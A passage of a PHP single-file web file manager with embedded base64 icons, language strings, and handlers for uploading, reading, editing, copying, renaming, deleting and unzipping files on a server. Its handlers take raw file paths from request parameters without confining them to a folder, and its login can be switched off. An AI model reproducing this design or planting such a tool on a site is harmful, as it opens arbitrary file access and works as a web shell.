mXQZzWb3DBg4Ff53BAhUvB6awRJQhoHFmiBARIQAFAFARQcHSEIDgQPXUZBACH5BAEKACEALAAAEAAPAA8AAAZZwI5gOEyEjsgjhzj0JJMUpgD0RAakn001VJAKENuQRXqpbA/e0KCqiRJDAYYC8KxghvCA/lAYLJAGGXl6hHpPDYWJTxEGiYRVAwSOAVsAEBKKYSEJDwQOCEEAIfkEAQoAIQAsAAAFAAkAFQAABlnAkNCQERpDFYxAcNRQlkvjAQoVWqiCS6WAFSBCAexnE3pSQUIO1iPsYBPHuBARqNcXQoe9PhAS9gEFQg+ABwAhCYABCkISgAwTIRCKQgB/dkcDBnVyEQ1HQQAh+QQBCgAhACwAAAAADwAPAAAGWMCQcEgsBCicDnGoOVgEUOgyVKFEr0sD5oolZrjdUKQRAkeFA0MgUI5+QJ5ECEBYr8sXxIYIsdupUxJ+AQwTUwmDAQpTIQ+DBwCMdX4FjCEOgwOWCIMLlkEAOw==';
$icon[12]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAyUlEQVQ4jbXSPUtDMQCF4edKkRaHDv0YBHGXDipIpVC4BVel6C9QkNqpCBZEHHRo6VAQ/cUOjXKVYHMLHsjyJudNSMI/poIjnGC7bPkUb7jEOZbIU8sNLJD94q/YTRHcYj/Cm7hPEbxEdi+eIkmwydx3pqhHeBXPKYIDjCP8Gsfryhn2cIcRdlDDDSZWrxC9nwwPmOMqsA4e8YTDwC4wC2u3ioKu1adJzRC9IsgxKCHo46wI2vgIknzNGOA9dH6klVD+Gq0Sp/07n5Y9F3VkGsILAAAAAElFTkSuQmCC';
$icon[4]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAe0lEQVQ4je2RsQ2DQBRDPQFCiCpDkawDlamia84+sUTGyGhUFEgHhBNFCiy5seQn63/gLxRjfEpixq+fALbfG/lIsj4ESGIuDyE8bH9y62wPJNtdwJ5IVrYHAEBK6btxg0MXL1j1bgBgezpbJllL6hdAV/DCnmRTsvxazZqvjASHx2bnAAAAAElFTkSuQmCC';
$icon[11]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA9UlEQVQ4jc2QTUoDQRCFs0jEn7WuFQ8QFx6gNwYXunP0Cq6EgVkI2XQgzIRuut4rG8HaCV7AI7oxYRwSMhACFjRNP977qroGg39XZjbKORcApiSfiqI46B2u6/pUVd9CCFfOuWFKaUzyPcZ41gugqnMzO25rVVWdkPwiOSO5EJHHjQCSsx5NnlNK43Xhl5xzsQ1QluWRqloI4XIlisiE5F3XLCK3qvrtvT9s6865IUlZCQCmZjZaE35V1U8AH13In++SvBGR+7YBwMPv7ZumOReR640TLHegqnMAvnVc5+0BeJKIMV5s29dyEt/LuE+A2wmw9/oBfgaBG4x+og4AAAAASUVORK5CYII=';
$icon[5]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAhUlEQVQ4jWNgoCZoaGgQmTBhQlV/f38DOm5paZEmaMCECROqysrKeNHF+/v7GyZOnPiloaGBB68B/f39DbjEoa67vmrVKmZyDKhuaGjg6+np0ZgwYcJikg1oa2sT7e/vr4Z65QDJBhCtZtSAYWHAhAkT/CZOnDgFW2aC4YkTJ34jZAlJAADcp3JNo6PIZgAAAABJRU5ErkJggg==';
$icon[10]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA00lEQVQ4jd3PPQrCQBAF4BWE3EFsvMk2Vl7A1t5tLESwscywsO+91ILXsbJPKVjqDYTYpBCJiX+Vr5xhvplx7v9iZgMAO0kXkldJh5TS9OVhSUdJ0cyGIYSM5BhAKWnVCdSbYxNM8hxjHLUCki5mNmzqkdySnLcCJK8hhOxJLwew7rrgQHL8WK+qqidpD2DSCqSUpgBKMxs8DC8lnbz3/VagvmJF8lz/nEvaSzoVRVEB2HQCzjkXYxyRnANYA5h47/sANm8hTblDFt8gC0mzj4Gf5wYc04KjAuZmyQAAAABJRU5ErkJggg==';
$icon[14]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAwklEQVQ4jb2QPQrCQBCFFyvxBtYKuYOVnZ3nCF7BZpsUG9id96bLDTyDlaWnEGzt0xliJYSwJOvvg9cMzPfejDG/UlEUc5K5iOwBbIwxk+RlAFsAtaq2TwM4VlU1S0oGUJM8O+cya+0UwI5kQ9KPAkjmqto657JeqwPJ2yhARKyqtqnz7wIABJJN93l9k7yGEJZRQGyZ5ElEbNfe+1UUMJTctYjYZECsgYis/wd46YSPnxhCKAHch9IBXMqyXEQB7+gBtIEmVWp3raAAAAAASUVORK5CYII=';
$icon[9]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABDUlEQVQ4jd2SMU7DQBBFp+UacACKXMCNJYLCCVxzHDf2CfAqVdaz402NiJK0WRcUuUBAlAEbClJ8CuLIctaS63xpNdJo9Pft7Cc6Kk1TkEeFtcIiyI2BZsbrdqt9c0REI1+TRdBo4xwAIDfm3KSPgEXw9v4BAFiu1tg4BxbxznoJjLXY7z/xXf+cSDTzuUFD0NQkSRDH8a1Yi9/DAVVd46uqAAAzn0GLoF2vZD5HV7nvCX07yJR6ZhFoZmhm5CLIlHoZvAMiuh5PJg9BENyFYXh/nLsZTCDW6iYHLAIuip33miiKHn39dg5cWQIAWGQ2mKCbA1eWF5uDPmXT6aKbgyelFoMN6P/PR51zysEf2/RBFJCWMhsAAAAASUVORK5CYII=';
$icon[8]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAlElEQVQ4jWNgoCZoaGgQmTBhQlV/f38DOm5paZEmaMCECROqysrKeNHF+/v7GyZOnPiloaGBB68B/f39DTAaCTv09/c3QF13fdWqVcwEDcAiXt3Q0MDX09OjMWHChMUku6CtrU20v7+/GuqVA6QagOEdkr1AtBqquWDUCxR4YcKECX4TJ06cgscFDRMnTvxGyBKSAADats4cMtUnDAAAAABJRU5ErkJggg==';

/*---------------------------english -------------------*/

$lang[0] =  'en';
$lang[1] =  'Remove';
$lang[2] =  'Edit';
$lang[3] =  'Preview';
$lang[4] =  'home';
$lang[5] =  'Filename';
$lang[6] =  'Size';
$lang[7] =  'Extension';
$lang[8] =  'Actions';
$lang[9] =  'Page';
$lang[10] =  'Total files';
$lang[11] =  'File Manager';
$lang[12] =  'by';
$lang[13] =  'Are you sure you want to Remove this file';
$lang[14] =  'Save';
$lang[15] =  'Cancel';
$lang[16] =  'Folder';
$lang[17] =  'Sending ...';
$lang[18] =  'Browse directorie';
$lang[19] =  'Search';
$lang[20] =  'Rename';
$lang[21] =  'Unable to open file!';
$lang[22] =  'Sign in';
$lang[23] =  'Login';
$lang[24] =  'Username';
$lang[25] =  'Password';
$lang[26] =  'Logout';
$lang[27] =  'About';
$lang[28] =  'Last modified';
$lang[29] =  'New folder';
$lang[30] =  'Upload file';
$lang[31] =  'Match not found';
$lang[32] =  'Browse ... ';
$lang[33] =  'Error';
$lang[34] =  'Success';
$lang[35] =  'Loading ...';
$lang[36] =  'Allowed extensions';
$lang[37] =  'Max filesize';
$lang[38] =  'Not exists';
$lang[39] =  'Tree View';
$lang[40] =  'Copy to';
$lang[41] =  'UnZip file';
$lang[42] =  'Information';
$lang[43] =  'Empty';

$units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');

/*----------------------------------------------*/

    $is_rtl=false;
if( in_array( $lang[0], $RTL_languages  ) ) 
	$is_rtl=true;


function Login()
{
	global $login_user,$login_pass;
	if(isset($_SESSION['login']))
	{
	if($_SESSION['login']['user'] ==$login_user && $_SESSION['login']['pass'] ==$login_pass && $_SESSION['login']['status'] =="1")
		return true; else return false;	
	}  else return false;	
	
}

function print_array($array)
{
	global $charset;
	header("Content-type: application/json; charset=".$charset);
	return json_encode($array);
}

function recurse_copy($src,$dst) { 
 if ( is_file($src) )
 {
	 $_DIRNAME = pathinfo($dst, PATHINFO_DIRNAME);
     if(!file_exists($_DIRNAME))
        @mkdir($_DIRNAME, 0777, true); 
    return @copy($src,$dst); 
 }
     
    $dir = opendir($src); 
	if(!file_exists($dst))
       @mkdir($dst, 0777, true); 
    while(false !== ( $file = readdir($dir)) ) { 
        if (( $file != '.' ) && ( $file != '..' )) { 
            if ( is_dir($src . '/' . $file) ) { 
                recurse_copy($src . '/' . $file,$dst . '/' . $file); 
            } 
            else { 
                copy($src . '/' . $file,$dst . '/' . $file); 
            } 
        } 
    } 
    closedir($dir); 
} 
function openZipArchive($file,$extract_path)
{
	global $alert_msg,$lang;
	if(!file_exists($extract_path))
    @mkdir($extract_path, 0777, true); 

$zip = new ZipArchive;
$res = $zip->open($file);
if ($res === TRUE) {
  $zip->extractTo($extract_path);
  $zip->close();
   return true;
} else {
  $alert_msg=$lang[33].' - '.$lang[41];
  return false;
}	
}


function unlinkRecursive($dir, $RemoveRootToo)
{
	 if (is_file($dir) === true)
     return @unlink($dir);  
    if(!$dh = @opendir($dir))
     return;   
    while (false !== ($obj = readdir($dh)))
    {
        if($obj == '.' || $obj == '..')
        continue;
        if (!@unlink($dir . '/' . $obj))
        unlinkRecursive($dir.'/'.$obj, true);       
    }
    closedir($dh);
    if ($RemoveRootToo)
     @rmdir($dir);    
    return;
}



function return_bytes ($size_str)
{
    switch (substr ($size_str, -1))
    {
        case 'M': case 'm': return (int)$size_str * 1048576;
        case 'K': case 'k': return (int)$size_str * 1024;
        case 'G': case 'g': return (int)$size_str * 1073741824;
        default: return $size_str;
    }
}

function is_sub_dir($path = NULL, $parent_folder = SITE_PATH) {
    $dir = dirname($path);
    $folder = substr($path, strlen($dir));
    $dir = realpath($dir);
    $folder = preg_replace('/[^a-z0-9\.\-_]/i', '', $folder);
    if( !$dir OR !$folder OR $folder === '.') {
    	return FALSE;
    }
    $path = $dir.'/'. $folder;/*DS*/
    if( strcasecmp($path, $parent_folder) > 0 ) {
    	return $path;
    }
    return FALSE;
}
function text_position($position=0)
{
global $is_rtl;
if($position==0)
{if($is_rtl ) echo 'left'; else echo 'right';}
else
{if($is_rtl ) echo 'right'; else echo 'left';}	
}

function css()
{  
global $is_rtl;	
$css='';

if(file_exists('./css/bootstrap.min.css'))
    $css.='<link href="./css/bootstrap.min.css" rel="stylesheet">';
else
	$css.='<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">';

if(file_exists('./js/jquery-2.2.0.min.js'))
	$css.='<script src="./js/jquery-2.2.0.min.js"></script>';
else
	$css.='<script src="//code.jquery.com/jquery-2.2.0.min.js"></script>';

if(file_exists('./js/bootstrap.min.js'))
	$css.='<script src="./js/bootstrap.min.js"></script>';
else
	$css.='<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>';

if(file_exists('./js/jquery.twbsPagination.min.js'))
	$css.='<script src="./js/jquery.twbsPagination.min.js"></script>'; 
else 
	$css.='<script src="//raw.githubusercontent.com/esimakin/twbs-pagination/develop/jquery.twbsPagination.min.js"></script>';

if( $is_rtl ) 
if(file_exists('./css/bootstrap-rtl.min.css'))
	$css.='<link href="./css/bootstrap-rtl.min.css" rel="stylesheet">';
else  
	$css.='<link rel="stylesheet" href="//cdn.rawgit.com/morteza/bootstrap-rtl/v3.3.4/dist/css/bootstrap-rtl.min.css">';
         	
	return $css;

} 	
function alert($str)
{
	global $lang;
	return '<div class="alert alert-danger"><a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a><strong>'.$lang[33].'!</strong> '.$str.'</div>';
}

function  AJAX_request()
{
if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
	return true ; else return false; 
}


if(!Login() && $LoginDialog && ( isset($_GET['uploadfile']) || isset($_GET['listFolderFiles']) || isset($_GET['copy']) || isset($_GET['unzip']) || isset($_GET['table']) || isset($_GET['rename']) || isset($_GET['Remove']) || isset($_GET['read']) || isset($_GET['newfolder']) )  )
{

  die(print_array(array( 'table' => '<div class="container_01"><center>'.$lang[31].'</center></div>' , 'total' => 1 , 'page' => 1, 'dir' => '' , 'dirHtml' => '' ,'alert' => alert($lang[22])  )));
}


if(!Login() && $LoginDialog)
{
	if($login_user=='')
		$html_input_user='<input name="username" value="" type="hidden" >';
	else
		$html_input_user='<div class="input-group" style="margin-top:10px;">
                           <span class="input-group-addon"><i class="UserIcon"></i></span>
                           <input id="user" type="text" class="form-control" name="username" value="" placeholder="'.$lang[24].'">                                        
                         </div>';
echo ('<!DOCTYPE html>
<html>
<head>
<title>'.$lang[22].'</title>
<meta charset="'.$charset.'">
<link href="'.$icon[12].'" rel="icon" type="image/x-icon" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
'.css().'
<style>
body {background: #F1F1F1 none repeat scroll 0% 0%;}
.UserIcon{background:url( '.$icon[12].') no-repeat left center;padding: 5px 0 5px 20px;}
.PassIcon{background:url( '.$icon[14].') no-repeat left center;padding: 5px 0 5px 20px;}
</style>
</head>
<body>
<div class="container">
 <div class="col-sm-4 col-sm-offset-4" style="margin-top:50px;">
		<div class="well" style="background-color: #FFF;">
      <legend>'.$lang[22].'(admin)</legend>
    <form accept-charset="'.$charset.'" action="" method="post">'.$html_input_user.'
		          
                    <div class="input-group" style="margin-top:10px;">
                        <span class="input-group-addon"><i class="PassIcon"></i></span>
                        <input id="password" type="password" class="form-control" name="password" placeholder="'.$lang[25].'">
                    </div>  
					
        <button class="btn btn-info btn-block" style="margin-top:10px;"  type="submit">'.$lang[23].'</button>
    </form>
	    </div>
  </div>
</div>


</body>
</html>');
	unset($lang);
	unset($icon);
	unset($_extensions);
    unset($RTL_languages);
	unset($LoginDialog);
	unset($login_user);
	unset($login_pass);
	unset($is_rtl);
	unset($units);
	unset($charset);
	unset($_maxFileSize);
    unset($_SERVER); unset($_SESSION);unset($_COOKIE);unset($_GET);  unset($_POST);unset($_FILES);unset($_ENV); unset($_REQUEST); 

exit();
}


$page = (isset($_GET['page'])) ? (int)$_GET['page'] : 1;
if(!($page>0)) $page = 1;
$directory = (isset($_GET['dir'])) ? $_GET['dir'] : '.';

if(isset($_GET['copy']) /*&& AJAX_request()*/ ) {file_exists_str($_GET['copy']); recurse_copy( $_GET['copy'],$_GET['to'] );  } 
if(isset($_GET['Remove']) && AJAX_request() ) {file_exists_str($_GET['Remove']);@unlinkRecursive($_GET['Remove'],true);	} 
if(isset($_GET['newfolder']) && AJAX_request() ) {@mkdir(  $directory .'/'.$_GET['newfolder'] , 0777, true);	} 
if(isset($_GET['rename']) && AJAX_request() ) {file_exists_str($_GET['rename']);@rename($_GET['rename'],$directory .'/'.$_GET['newrename']);} 
if(isset($_GET['unzip']) && AJAX_request() ) {file_exists_str($_GET['unzip']);@openZipArchive($_GET['unzip'],$_GET['to']);} 
if(isset($_GET['listFolderFiles'])  && AJAX_request() ) {die(listFolderFiles($directory));} 

if(isset($_GET['read']) && $show_file_or_dir && AJAX_request() ) {file_exists_str($_GET['read']);if(in_array(extension($_GET['read']), $_extensions[1]) || count($_extensions[1])==0 )
	{   header('Content-type: text/html; charset='.$charset);
		die( _read($_GET['read']) ) ; 
	}   else die($lang[7]);} 
	
if(isset($_GET['write']) && $show_file_or_dir && AJAX_request() ) {file_exists_str($_POST['write']);if(in_array(extension($_POST['write']), $_extensions[1]) || count($_extensions[1])==0 )
	{   header('Content-type: text/html; charset='.$charset);
        $txtData = (isset($_POST['txt'])) ? $_POST['txt'] : '';
		die( _write($_POST['write'],$txtData) ) ; 
	}   else die($lang[7]);} 
	
 if ( isset($_GET['uploadfile']) && AJAX_request() ) { 
 
 $response = array();
 if (isset( $_FILES["inputFileUpload"] ) && !empty( $_FILES["inputFileUpload"]["name"] ) )
 if (is_array($_FILES['inputFileUpload']['name']) || is_object($_FILES['inputFileUpload']['name']))
 foreach($_FILES['inputFileUpload']['name'] as $n => $name) {
	
	if(!empty($name)) {	
	$tmp_name = basename($name);
	$tmp_size = $_FILES["inputFileUpload"]["size"][$n] ;
	$tmp_type = $_FILES["inputFileUpload"]["type"][$n] ;
	$error    = $_FILES["inputFileUpload"]["error"][$n] ;
	$name_    = $_FILES["inputFileUpload"]["name"][$n] ;
	$target_file = $directory .'/'.$tmp_name; 	
		
// )
if( in_array(extension($tmp_name), $_extensions[0]  ) || count($_extensions[0]) ==0 )
 {
	
if(move_uploaded_file($_FILES["inputFileUpload"]["tmp_name"][$n], $target_file))	
    $response[] =array( 'code' => '1','status' => $lang[34] ,'url' => $target_file , 'tmp_name' =>  $tmp_name , 'size' => $tmp_size , 'type' => $tmp_type , 'error' => $error , 'name' => $name_);
elseif($error!=0)
    $response[] =array( 'code' => '0','status' => $lang[33].'_'.$error );	
elseif($tmp_size>$_maxFileSize)
    $response[] =array( 'code' => '0','status' => $lang[37] );		
else
	$response[] =array( 'code' => '0','status' => $lang[33] );	
	
 } else $response[] = array( 'code' => '0','status' => $lang[7] );  
} else $response[] = array( 'code' => '0','status' => $lang[38] );  
}

  die(print_array($response));										
 
}; //$alert_msg=$lang[38];

//exit(header('Location: ?page='.$page.'&dir='.$directory.'"'));

if (!function_exists('scandir')) {
    function scandir($dir, $sortorder = 0) {
        if (is_dir($dir)) {
            $files = [];
            if ($dirlist = opendir($dir)) {
                while (($file = readdir($dirlist)) !== false) {
                    if ($file != '.' && $file != '..') {
                        $files[] = $file;
                    }
                }
                closedir($dirlist);
                ($sortorder == 0) ? asort($files) : rsort($files);
            }
            return $files;
        } else {
            return false;
        }
    }
}



function folderSize ($dir)
{
    $size = 0;
    foreach (glob(rtrim($dir, '/').'/*', GLOB_NOSORT) as $each) {
        $size += is_file($each) ? filesize($each) : folderSize($each);
    }
    return $size;
}

function FilterScanDir($dir)
{
	global $_extensions,$directory;
$times	= array() ;
$files_tmp = array() ;	
$folers_tmp = array() ;	
$total_files = 0;
$files = (is_dir($dir)) ? @scandir($dir) : array() ;	
if (is_array($files) || is_object($files))
foreach($files as $file)
if(  ( in_array(extension($file), $_extensions[0] ) || count($_extensions[0]) ==0 ) && $file !=='.'  )	
{
	if($file !=='..')
	$total_files++;

    if(is_dir($file))
	 $folers_tmp[]=$file;
    else
	 $files_tmp[]=$file;
 
	$times[] = date ("d/m/Y H:i:s", @filemtime($directory.'/'.$file));
}
//arsort($files_tmp);
//$files = array_keys($files_tmp);
//array_multisort(array_map('filemtime', $files_tmp ), SORT_DESC, $files_tmp);
return array( 'list' => array_merge($folers_tmp,$files_tmp)  ,'times' => $times , 'count' => $total_files );
}

function listFolderFiles($dir){
	global $_extensions;
	 if (is_file($dir) === true) 
		 return ;
    $ffs = scandir($dir);
    echo ' <ul>';
	if (is_array($ffs) || is_object($ffs))
    foreach($ffs as $ff){ 
        if($ff != '.' && $ff != '..' &&  ( in_array(extension($ff), $_extensions[0]  ) || count($_extensions[0]) ==0 )  ){
            echo '<li><a href="'.$dir.'/'.$ff.'">'.$ff;
            if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff);
            echo '</a></li>';
        }
    }
    echo '</ul>';
}

$total_files = 0;

$offset = ($page-1)*$perpage;
//setcookie('directory', $directory, time() + (86400 * 30), "/");

//get subset of file array
$FilesArray = FilterScanDir($directory);
$files      = $FilesArray['list'];
$times      = $FilesArray['times'];
$total_files= $FilesArray['count'];


//$files = (isset($files_tmp) && is_array($files_tmp)) ? $files_tmp : array();
if(isset($_GET['search']))
{
unset($files);
$files = array();
$total_files = 1;
if (in_array($_GET['search'], $FilesArray['list']))  
  $files[0] = $_GET['search']; 
else 
  $files[0] = 'Match_not_found';
}
if($table_fixed=='')
$total_pages = ceil($total_files/$perpage);
else
$total_pages = 1;	

unset($FilesArray);

if($table_fixed=='')
$files = array_slice($files, $offset, $perpage);


function showfile($file)
{
global $directory,$_extensions,$lang;

if($file=='.' )		
	return '<a href="?" onclick="getContent('."'dir=".$directory.'/'.$file."'".',0); return false;"><strong>'.$file.'</strong></a>';

elseif($file=='Match_not_found')
    return '<span class="ExplorIcon">'.$lang[31].'</span>';
	
elseif($file=='..' )
    return '<span class="TreeIcon"></span><a href="?" onclick="getContent('."'dir=".$directory.'/'.$file."'".',0); return false;">'.$file.'</a>';

elseif(is_dir($directory.'/'.$file) && file_exists($directory.'/'.$file) )	
	return '<span class="CFolderIcon"></span><a href="?" onclick="getContent('."'dir=".$directory.'/'.$file."'".',0); return false;">'.$file.'</a>';
	
elseif (in_array(extension($file), $_extensions[2]  ))
	return  '<span class="ImageIcon"></span><a href="'.$directory.'/'.$file.'">'.$file.'</a>' ;
	
elseif (in_array(extension($file), array("zip","rar","7z","gzip","tar","wim","xz")  ))
	return '<span class="ZipIcon"></span><a href="'.$directory.'/'.$file.'">'.$file.'</a>' ;
	
else
	return '<span class="PhpIcon"></span><a href="'.$directory.'/'.$file.'">'.$file.'</a>';
}

function extension($file)
{
	global $lang;
if($file=='Match_not_found')
	return '--'; 
$extension=strtolower(pathinfo($file, PATHINFO_EXTENSION ))	;
if($extension=='') 
	return 'dir';//$lang[16] ; 
else 
	return $extension; //ucfirst
}


function file_exists_str($file)
{
	global $alert_msg,$lang;
	if(!file_exists($file))
		$alert_msg=$lang[38];
}
function file_size($file)
{
global $directory;
return @filesize_formatted($directory.'/'.$file);	
}


function action($file)
{
global $directory,$page,$show_file_or_dir,$lang,$total_files,$_extensions;
if($file=='Match_not_found' )
	return '--'; 
if( $file =='..')
	return '--'; 

$html= '<a data-toggle="tooltip" title="'.$lang[1].'" onclick="SetRemoveModalattr('."'".$directory.'/'.$file.'&dir='.$directory.'&page='.$page."'".'); return false;" href="#"><span class="RemoveIcon"></span></a> ';
if($show_file_or_dir)
{
	if(is_dir($directory.'/'.$file))
	{
		$count=FilterScanDir($directory.'/'.$file); //$count=FilterScanDir($directory.'/'.$file)['count'];
		$count=$count['count'];
		$html.='<a data-toggle="tooltip" title="'.$lang[18].'"  onclick="SetShowFileModalattr('."'".$directory.'/'.$file.'/&perpage='.$count."&#directory'".'); return false;"  href="#"><span class="OFolderIcon"></span></a> ' ;	 
        unset($count);		
	}
		
	elseif (in_array(extension($file), $_extensions[2]  ))
	   $html.='<a data-toggle="tooltip" title="'.$lang[3].'" onclick="SetShowFileModalattr('."'".$directory.'/'.$file."'".'); return false;" href="#"><span class="ImageIcon"></span></a> ' ;
	elseif (in_array(extension($file), array("zip","rar","7z","gzip","tar","wim","xz")  ))
	   $html.='<a data-toggle="tooltip" title="'.$lang[41].'" onclick="SetZipFileModalattr('."'".$directory.'/'.$file.'&dir='.$directory.'&page='.$page."'".'); return false;" href="#"><span class="ZipIcon"></span></a> ' ;
	else	
       $html.='<a data-toggle="tooltip" title="'.$lang[3].'" onclick="SetShowFileModalattr('."'".$directory.'/'.$file."'".'); return false;" href="#"><span class="ShowIcon"></span></a> ' ;
}
$html.='<a data-toggle="tooltip" title="'.$lang[40].'" onclick="SetCopyFileModalattr('."'".$directory.'/'.$file.'&dir='.$directory.'&page='.$page."'".'); return false;" href="#"><span class="CopyIcon"></span></a>';	
$html.='<a data-toggle="tooltip" title="'.$lang[20].'" onclick="SetRenameModalattr('."'".$directory.'/'.$file.'&dir='.$directory.'&page='.$page."'".'); return false;" href="#"><span class="RenameIcon"></span></a>';	
    return $html;
}

function _read($file,$Modes="r")
{
global $lang;

$file_size = filesize($file);
if( !$file_size || !is_readable($file) ) return $lang[21];

$myfile = fopen($file, $Modes) ;
if(!$myfile) return $lang[21]; //w
return fread($myfile, $file_size );
fclose($myfile);
};

function _write($file,$txt='',$Modes="w")
{
global $lang;

if(file_exists($file) && $txt=='') return $lang[43];

if( file_exists($file) && ( !filesize($file) || !is_readable($file) ) ) return $lang[21];

$myfile = fopen($file, $Modes) ;
if(!$myfile) return $lang[21]; //w
if ( fwrite($myfile, $txt ) )
{
fclose($myfile);
return $lang[34];
}	else {
	     fclose($myfile);
         return $lang[33];
         }

};

function GetOldirectory()
{
global $directory,$page,$lang;

$html='<li><a href="#" onclick="getContent('."'dir=."."'".',0); return false;">'.$lang[4].'</a></li>';
$newDir='.';
$elements = explode('/',$directory);
if (is_array($elements) || is_object($elements))
foreach ( $elements as $key_value )
{
	if($key_value!='.'){
	$newDir = $newDir.'/'.$key_value;
	$html.='<li><a href="#" onclick="getContent('."'dir=".$newDir.'&page='.$page."'".',0); return false;">'.$key_value.'</a></li>';
	}
}

return $html;
}

function filesize_formatted($path)
{
global $units ;
	if(is_dir($path) || $path=='./Match_not_found' ) return '--';//directory 
    $size = filesize($path);
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];
}
function fileTime($index,$file)
{ 
global $times ;
if($file=='Match_not_found') return '--';
return $times[$index];
};

if(isset($_GET['table']) && AJAX_request() )
{
	
$html='<div class="table-responsive"><table class="table table-hover '.$table_fixed.'"><thead><tr>';
	if($table_fixed=='')
	$html.='<th class="col-md-4">'.$lang[5].'</th><th class="hidden-xs col-md-2">'.$lang[6].'</th><th class="hidden-xs col-md-2">'.$lang[7].'</th><th class="hidden-xs col-md-2">'.$lang[28].'</th>';
	else
	$html.='<th class="col-xs-12 col-sm-6">'.$lang[5].'</th><th class="hidden-xs col-xs-2 col-sm-2 col-md-2">'.$lang[6].'</th><th class="hidden-xs col-xs-2 col-sm-2 col-md-2">'.$lang[7].'</th>';

    $html.='<th class="hidden-xs col-md-2">'.$lang[8].'</th></tr></thead><tbody>';
//output appropriate items
if (is_array($files) || is_object($files))
foreach($files as $index => $file )
{
	$html.='<tr>';
	if($table_fixed=='')
	$html.='<td class="col-md-3">'.showfile($file).'</td><td class="hidden-xs col-md-2">'.file_size($file).'</td><td class="hidden-xs col-md-2">'.extension($file).'</td><td class="hidden-xs col-md-2">'.fileTime($index,$file).'</td>';
	else
	$html.='<td class="col-xs-12 col-sm-5">'.showfile($file).'</td><td class="hidden-xs col-xs-2 col-sm-2 col-md-2">'.file_size($file).'</td><td class="hidden-xs col-xs-2 col-sm-2 col-md-2"><span class="label label-default">'.extension($file).'</span></td>';

	$html.='<td class="hidden-xs col-xs-3 col-sm-3 col-md-3">'.action($file).'</td></tr>'; 
}


$html.='<tr>';
if($table_fixed=='')
$html.='<td colspan="5" class="col-xs-12 col-sm-12 col-md-12">';
else
$html.='<td colspan="4" class="col-xs-12 col-sm-12 col-md-12">';	
$html.=$lang[9].' : <mark>'.$page.'</mark> '.$lang[10].' : <mark>'.$total_files.'</mark></td></tr></tbody></table></div>';
if($alert_msg!='') 
	$alert_msg = alert($alert_msg);
  $response = array( 'table' => $html , 'total' => $total_pages , 'page' => $page , 'dir' => $directory , 'dirHtml' => GetOldirectory() ,'alert' => $alert_msg);
  unset($html); 
  die(print_array($response));
  
}

// free memory
unset($files);
unset($times);
//unset($directory);
unset($total_files);
//unset($page);
unset($offset);
//unset($total_pages);
unset($perpage);
unset($table_fixed);
unset($RTL_languages);
unset($show_file_or_dir);
unset($alert_msg);
?>
<!DOCTYPE html>
<html lang="en-US">
    <head>	
	    <meta charset="<?php echo $charset ?>">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
	    <?php echo css();?>  
		<link href="<?php echo $icon[4];?>" rel="icon" type="image/x-icon" />
		<title><?php echo $lang[11]; ?></title>
        
		<style>

.ZipIcon {background:url(<?php echo $icon[0];?>) no-repeat left center; padding: 5px 0 5px 25px;margin-left: 5px;}
.ImageIcon {background:url(<?php echo $icon[1];?>) no-repeat left center; padding: 5px 0 5px 25px;margin-left: 5px;}
.CopyIcon {background:url(<?php echo $icon[2];?>) no-repeat left center; padding: 5px 0 5px 25px;margin-left: 5px;}		
.CFolderIcon {background:url(<?php echo $icon[3];?>) no-repeat left center; padding: 5px 0 5px 25px;margin-left: 5px;}
.OFolderIcon {background:url(<?php echo $icon[4];?>) no-repeat left center; padding: 5px 0 5px 25px;margin-left: 5px;}
.PhpIcon{background:url( <?php echo $icon[5];?>) no-repeat left center;padding: 5px 0 5px 25px;margin-left: 5px;}
.RemoveIcon {background:url(<?php echo $icon[6];?>) no-repeat left center; padding: 5px 0 5px 25px;margin-left: 5px;}
.RenameIcon{background:url( <?php echo $icon[7];?>) no-repeat left center;padding: 5px 0 5px 25px;margin-left: 5px;}
.ShowIcon {background:url(<?php echo $icon[8];?>) no-repeat left center; padding: 5px 0 5px 25px;margin-left: 5px;}
.TreeIcon{background:url( <?php echo $icon[9];?>) no-repeat left center;padding: 5px 0 5px 25px;margin-left: 5px;}
.ExplorIcon{background:url( <?php echo $icon[10];?>) no-repeat left center;padding: 5px 0 5px 25px;margin-left: 5px;}
.UploadIcon{background:url( <?php echo $icon[11];?>) no-repeat left center;padding: 5px 0 5px 25px;margin-left: 5px;}
.UserIcon{background:url( <?php echo $icon[12];?>) no-repeat left center;padding: 5px 0 5px 25px;margin-left: 5px;}
.LogoutIcon{background:url(  <?php echo $icon[13];?>) no-repeat left center;padding: 5px 0 5px 25px;margin-left: 5px;}

.table,.breadcrumb,.navbar-default{border: 1px solid #D8D8D8;background: #fff none repeat scroll 0% 0%;}
.container_01{border: 1px solid #D8D8D8;background: #fff none repeat scroll 0% 0%;padding: 25px;margin-bottom:20px;}
.Loading{background:url(<?php echo $icon[15];?>) no-repeat center center; padding: 25px ;}
body {background: #F1F1F1 none repeat scroll 0% 0%;margin-bottom:20px;}
